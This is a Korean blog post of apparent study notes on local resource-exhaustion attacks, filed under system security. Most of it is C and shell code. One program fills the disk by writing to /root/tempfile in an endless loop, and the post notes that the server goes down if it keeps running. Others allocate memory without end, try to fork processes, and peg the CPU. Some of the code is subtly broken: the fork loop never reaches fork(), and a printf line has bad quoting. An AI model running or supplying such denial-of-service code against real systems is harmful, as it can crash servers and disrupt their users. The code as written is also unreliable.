디스크 자원 고갈

시스템 보안 2019. 2. 21. 21:43

디스크 자원 고갈


컴파일러 없을 시

# yum -y install gcc*


# vi disk.attack.c


------- 텍스트 편집기 사용해서 작성 -------


#include <unistd.h>

#include <sys/file.h>


main()

{

int attack;

char buf[100];

attack = creat("/root/tempfile",0777);


while(1)

{

write(attack,buf,sizeof(buf));

}

}


----------------------------------------------


# gcc -o disk_attack.c disk.attack.c

out(실행 파일)  sorce (작성 파일)


# ./disk_attack.c

- 적당히 하다가 종료 계속하면 서버 다운됨..





- CentOS 설치 -

gcc*

qt*

qt-devel*



vi mem.c


#include <stdio.h>

#include  <stdlib.h>


main()

{

char *m;

printf("CTRL+C" will terminate memory process..!!\n");


while(1)

{

m=malloc(1000);

}

}


# gnome-system-monitor

# gcc -o mem mem.c

# ./mem





vi process.c


#include <stdio.h>

#include <unistd.h>


main()

{

while(1);

fork();

return 0;

}



# gcc -o process process.c

# ./process







vi cpu.sh


#!/bin/sh

START=0

END=1000000000000000000


while [ $START -le $END ]

do

START=`expr $START + 1`

done


chmod 777 cpu.sh

./cpu.sh






vi cpu2.sh


#!/bin/sh

while true

do

a=1

done



chmod 777 cpu2.sh

./cpu2.sh





'시스템 보안' 카테고리의 다른 글

nfs  (0) 2019.02.26
Telnet 접속  (0) 2019.02.22
Day7  (0) 2019.02.20
퍼미션  (0) 2019.02.18
사용자 계정 lock unlock  (0) 2019.02.15

설정

트랙백

댓글